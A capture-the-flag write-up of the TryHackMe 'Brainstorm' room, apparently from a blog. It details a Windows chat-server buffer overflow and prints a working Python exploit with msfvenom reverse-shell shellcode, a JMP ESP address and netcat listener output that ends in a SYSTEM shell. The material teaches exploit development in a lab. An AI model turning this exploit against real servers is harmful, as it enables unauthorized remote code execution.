14 minute read

Machine Information

brainstorm

Brainstorm is rated as a medium difficulty room on TryHackMe. This Windows based server has a few open ports but something called Brainstorm Chat on port 9999 immediately gets our attention. We also find an anonymous FTP server that let’s us grab the binaries for the chatserver. From there we reverse engineer the application to work out how we can exploit a buffer overflow vulnerability. We then write a custom python script to gain a reverse shell on to the server.

Skill required are a basic understanding of the tools and techniques needed to debug an application. Skills learned are a better understanding of EIP, ESP and other registers that we can use to help us develop an exploit. We also learn a little about Immunity Debugger for Windows.

Details  
Hosting Site TryHackMe
Link To Machine THM - Medium - Brainstorm
Machine Release Date 7th September 2019
Date I Completed It 21st February 2021
Distribution Used Kali 2020.3 – Release Info

Initial Recon

As always, let’s start with Nmap to check for open ports:

root@kali:/home/kali/thm/skynet# ports=$(nmap -p- --min-rate=1000 -T4 10.10.2.82 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
root@kali:/home/kali/thm/skynet# nmap -p$ports -sC -sV -oA brainstorm 10.10.2.82
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 21:13 GMT
Error #486: Your port specifications are illegal.  Example of proper form: "-100,200-1024,T:3000-4000,U:60000-"

Wait, what’s this error? This is the reminder to always read the room information in case of helpful hints, for this one it says:

Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

Try again this time with -Pn to disable host discovery:

root@kali:/home/kali/thm/brainstorm# nmap -Pn -sC -sV -oA brainstorm 10.10.2.82
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 21:14 GMT
Nmap scan report for 10.10.2.82
Host is up (0.036s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_  SYST:Windows_NT
3389/tcp open tcpwrapped
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2021-02-17T21:07:32
|_Not valid after: 2021-08-19T21:07:32
|_ssl-date: 2021-02-18T21:17:39+00:00; +2s from scanner time. 
9999/tcp open abyss?
|fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL:
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 195.80 seconds

This gives us the information needed to complete Task 1.

Task 2

We find a few useful things from our scan. First we are dealing with a Windows server, which changes our approach to some areas. Secondly we have a few open ports, something called Brainstorm chat on port 9999, but most notably is anonymous FTP on port 21. Let’s start with that one and see if we can find anything:

root@kali:/home/kali/thm/brainstorm# ftp 10.10.2.82
Connected to 10.10.2.82.
220 Microsoft FTP Service
Name (10.10.2.82:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19  07:36PM       <DIR>          chatserver
226 Transfer complete.

We are logged in as the anonymous user, and we see a directory called chatserver. Lets have a look in there:

ftp> cd chatserver
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19  09:26PM                43747 chatserver.exe
08-29-19  09:27PM                30761 essfunc.dll
226 Transfer complete.

You now have the information needed to answer Task 2.

Task 3

We find a couple of files, let’s copy them to our local Kali so we can look at them:

ftp> mget
(remote-files) *
mget chatserver.exe? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 45 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
43747 bytes received in 0.24 secs (180.2709 kB/s)
mget essfunc.dll? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 32 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
30761 bytes received in 0.11 secs (281.6324 kB/s)

If you see the above then you’ve tried to download a binary as text. Change the transfer mode then try again:

ftp> bin
200 Type set to I.
ftp> mget
(remote-files) *
mget chatserver.exe? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
43747 bytes received in 0.14 secs (300.5796 kB/s)
mget essfunc.dll? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
30761 bytes received in 0.11 secs (282.2967 kB/s)
ftp> quit
221 Goodbye.

It’s safe to assume that the chat server running on port 9999 on the brainstorm server is using the same files as those we’ve just downloaded. Let’s have a quick look at the server version now to see what we can find:

root@kali:/home/kali/thm/brainstorm# nc -nv 10.10.2.82 9999
(UNKNOWN) [10.10.2.82] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): pencer.io
Write a message: Hello!
Thu Feb 18 14:25:44 2021
pencer.io said: Hello!

Write a message:  help
Thu Feb 18 14:25:54 2021
pencer.io said: help

Write a message:  I guess you don't do anything?
Thu Feb 18 14:26:06 2021
pencer.io said: I guess you don't do anything?

Write a message:  ^C

So it appears to be a simple program, we can now assume the files we’ve downloaded are vulnerable in some way for us to exploit. We have a Windows 32bit binary and supporting dll, so to further debug we’ll need to transfer them to a Windows VM where we can use Immunity Debugger to analyse them.

Start a web server on Kali so we can get to the files we’ve downloaded:

root@kali:/home/kali/thm/brainstorm# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

To keep it simple I’ll use a Windows 7 32bit VM. Once booted browse to my Kali webserver to get the files:

brainstorm-kaliweb

Run the chatserver on my Win7 machine, and check I can connect the same as the one running on the brainstorm server:

brainstorm-chatserver.exe

Now try and connect as before from Kali:

root@kali:/home/kali/thm/brainstorm# nc -nv 192.168.0.16 9999
(UNKNOWN) [192.168.0.16] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): pencer.io
Write a message: Are you the same?
Thu Feb 18 22:35:18 2021
pencer.io said: Are you the same?

We have now confirmed the files downloaded are the same as those running on the server. It’s time to start looking at how we create a buffer overflow that we control, which will allow us to gain access to the server.

If you want to learn more about buffer overflows and how they work, then this tryhackme room is a good starter. Also here is a good walkthrough on how to build up your python script. I’ll be using the basics from this in the follow sections.

First install 32bit MSI installer for Python 2.7.18 from here on the VM you are running the chatserver from.

Then install Immunity Debugger from here, you’ll need to register to get it although there is no check on the email address you use.

Finally get the Mona python script from here. We can use this in Immunity to speed up the process of developing our exploit. You’ll need to copy the mona.py file in to the PyCommands folder in the Immunity install before you can use it.

Now we are set up for debugging. First make sure your chatserver is still running, then start Immunity and from the File menu chose Attach, then find the chatserver process in the list:

brainstorm-immunityattach

Note in the bottom right corner it says Paused. You need to press F9 to run:

brainstorm-immunitypaused

It’s safe to assume we will be trying to use a buffer overflow to exploit the program, so let’s connect from Kali to it again and try sending increasing numbers of characters until we crash it:

root@kali:/home/kali/thm/brainstorm# python -c 'print "A" * 1000'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Try sending 1000 characters:

root@kali:/home/kali/thm/brainstorm# nc -nv 192.168.0.16 9999
(UNKNOWN) [192.168.0.16] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAA
Write a message: 

No crash on the username field, try sending 1000 to the message field:

Write a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAAAAAAAAAAAAAA
Thu Feb 18 22:52:01 2021
AAAAAAAAAAAAAAAAAAAA said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAAAAAAAAAAAAAA
Write a message:  ^C

No crash on message field with 1000 characters either. We repeat this in 500 char increments until we get to 2500 character, and then we see we have crashed the program and overwritten the buffer:

root@kali:/home/kali/thm/brainstorm# python -c 'print "A" * 2500'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

root@kali:/home/kali/thm/brainstorm# nc -nv 192.168.0.16 9999
(UNKNOWN) [192.168.0.16] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Write a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<SNIP>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Switching back to our Win7 VM we see Immunity has caught the exception:

brainstorm-accessviolation

And looking at the registers we can see EIP has been overwritten with 41414141, which is our AAAA from the large string we passed in:

brainstorm-registers

Now we have confirmed that we can cause a buffer overflow we need to find the exact number of characters to send so we can take control of EIP. We can use the Meterpreter script to generate a unique string for this:

root@kali:/home/kali/thm/brainstorm# msf-pattern_create -l 2500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A
<SNIP>
c8Ac9Ad9A0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5

You could also use Mona to do this by typing in the command bar at the bottom on Immunity:

!mona pattern_create 2500

Send this to the message field as before, and when the program crashes check EIP in Immunity again:

brainstorm-eip

This time we see the value in EIP is 31704330, now we use the msf pattern offset script to find what character length we need:

root@kali:/home/kali/thm/brainstorm# msf-pattern_offset -l 2500 -q 31704330
[*] Exact match at offset 2012

If you used Mona to create your pattern then use it again to find the offset:

!mona pattern_offset 31704330

Now we need to start building our python script that we’ll use to exploit the application. I use the skeleton one from here as a starter:

brainstorm-script

I add my Win7 VM IP that is running the chatserver application. I also need a user and message to send the app. We’ve already worked out that 2012 characters will cause the app to crash. Let’s just test our script works before we move on.

This is how my basic script looks now:

#!/usr/bin/python 

import socket,sys

address = '192.168.0.16'
port = 9999
user = 'pencer.io'
message = 'A' * 2012

try:
        print '[+] Sending buffer'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((address,port))
        s.recv(1024)
        s.recv(1024)
        s.send(user + '\r\n')
        s.recv(1024)
        s.send(message + '\r\n')
except:
        print '[!] Unable to connect to the application.'
        sys.exit(0)
finally:
        s.close()

On my Kali machine I run the script:

root@kali:/home/kali/thm/brainstorm# python buffer.py 
[+] Sending buffer

Now switch to Win7 and we see our script connected and sent the username pencer.io

brainstorm-connected

Then it sent 2012 characters, which caused the application to crash:

brainstorm-crash

Excellent. We know have a working script to crash the application, the next step is to place our own code on the EIP which will let us run malicious shellcode.

Control EIP

We can confirm we are able to overwrite the EIP by adding four B characters to the end of our 2012 A’s. Add the second line here to our script to put those B’s in:

message = 'A' * 2012
message += 'B' * 4

Now run it again against the chatserver and check Immunity to see we have overwritten:

brainstorm-eipoverwrite

We see 42424242, which is ASCII for our four B’s.

Things are looking good. Our next job is to check for bad characters, as sending any will cause the overflow to stop before it completes executing our payload. When we use MSFVenom to generate our shellcode we can exclude any characters that would stop it from executing.

There’s lot’s of sites that list these, I’ll use this and add them to our script. So our message now looks like this:

message = 'A' * 3000
message += 'B' * 4
message += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\"
<SNIP>

Now we run it again against the chatserver, then we look in Immunity to find them in the register:

brainstorm-registersagain

Here we see our A’s (41), then B’s (42), and then our bad characters in reverse. We are looking through the list to see if any are missing. If they are then we know we can’t use those characters in our payload. Having checked through the list we find that they are all there.

The final step is to find the location of ESP, we need this because we use it to point to our payload. A simple way is to use mona which has a command to find it:

!mona jmp -r esp

Running that in Immunity we see 9 results:

brainstorm-esp

Let’s take the first one, which is 0x625014DF. We’ll need to change that to the correct Little Endian format in our script, which we’ll get to soon. First we need our payload, for this we use MSFVenom:

root@kali:/home/kali/thm/brainstorm# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=1234 EXITFUNC=thread -f py -e x86/shikata_ga_nai -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1712 bytes
buf =  b""
buf += b"\xba\x40\xfd\xb6\x4c\xd9\xe9\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e\x03\x10\xf3\x54"
buf += b"\xb9\x6c\xe3\x1b\x42\x8c\xf4\x7b\xca\x69\xc5\xbb\xa8"
<SNIP>

Those parameters explained:

-p windows/shell_reverse_tcp = Payload is a Windows reverse shell
LHOST=192.168.0.20           = IP to connect back to is my Kali machine
LPORT=1234                   = Port to connect to on Kali
-f py                        = Output payload in python for our script
-e x86/shikata_ga_nai        = Which encoder to use
-b "\x00"                    = Bad characters to avoid

We now have all the information we need to complete our script:

address = '192.168.0.11'
port = 9999
user = 'pencer.io'
buf =  b""
buf += b"\xba\x40\xfd\xb6\x4c\xd9\xe9\xd9\x74\x24\xf4\x58\x31"
<SNIP>
buf += b"\x43\x68\x9f\xb2\x0e\x8b\x4a\xf0\x36\x08\x7e\x89\xcc"
buf += b"\x10\x0b\x8c\x89\x96\xe0\xfc\x82\x72\x06\x52\xa2\x56"
esp = '\xdf\x14\x50\x62'
nop = '\x90'*20

message = 'A' * 2012 
message += esp
message += nop
message += buf

Those parameters explained:

'A' * 2012 - The number of A's needed to crash the application
ESP        - The value of the ESP that will instruct the application to execute our code
NOP        - Our code may get cut off, adding a NOP sled ensures it works
BUF        - This is our shellcode from MSFVenom

Now we just have to start netcat listening on Kali. Ensure the chatserver is running on our Win7 VM, then run our script:

root@kali:/home/kali/thm/brainstorm# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.20] from (UNKNOWN) [192.168.0.11] 63138
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\administrator\Desktop>

Gaining Access

We have our reverse shell working against our local copy of the application. To complete the room we just need to run it against the server version now. To do this we need the IP of the server, which we then put in our script to change it from the IP of our Win7 VM. We also need to run MSFVenom again and give it the IP of our VPN adapter on Kali instead of the one on the local network. Then we just start netcat listening again and run our script:

root@kali:/home/kali/thm/brainstorm# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.14.6.200] from (UNKNOWN) [10.10.20.47] 49166
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

We now have a connection to the server. Let’s get the root flag and we are done:

C:\Windows\system32>cd ..\..
C:\>cd users
C:\Users>dir
 Volume in drive C has no label.
 Volume Serial Number is C87F-5040

 Directory of C:\Users

08/29/2019  09:20 PM    <DIR>          .
08/29/2019  09:20 PM    <DIR>          ..
08/29/2019  09:21 PM    <DIR>          drake
11/20/2010  11:16 PM    <DIR>          Public
               0 File(s)              0 bytes
               4 Dir(s)  19,652,292,608 bytes free

C:\Users>cd drake
C:\Users\drake>cd desktop
C:\Users\drake\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is C87F-5040

 Directory of C:\Users\drake\Desktop

08/29/2019  09:55 PM    <DIR>          .
08/29/2019  09:55 PM    <DIR>          ..
08/29/2019  09:55 PM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  19,652,292,608 bytes free

C:\Users\drake\Desktop>type root.txt
type root.txt
<HIDDEN>

This room was a bit more involved than others. Hopefully I’ve explained the process in enough detail to help you understand it.

See you next time.

Comments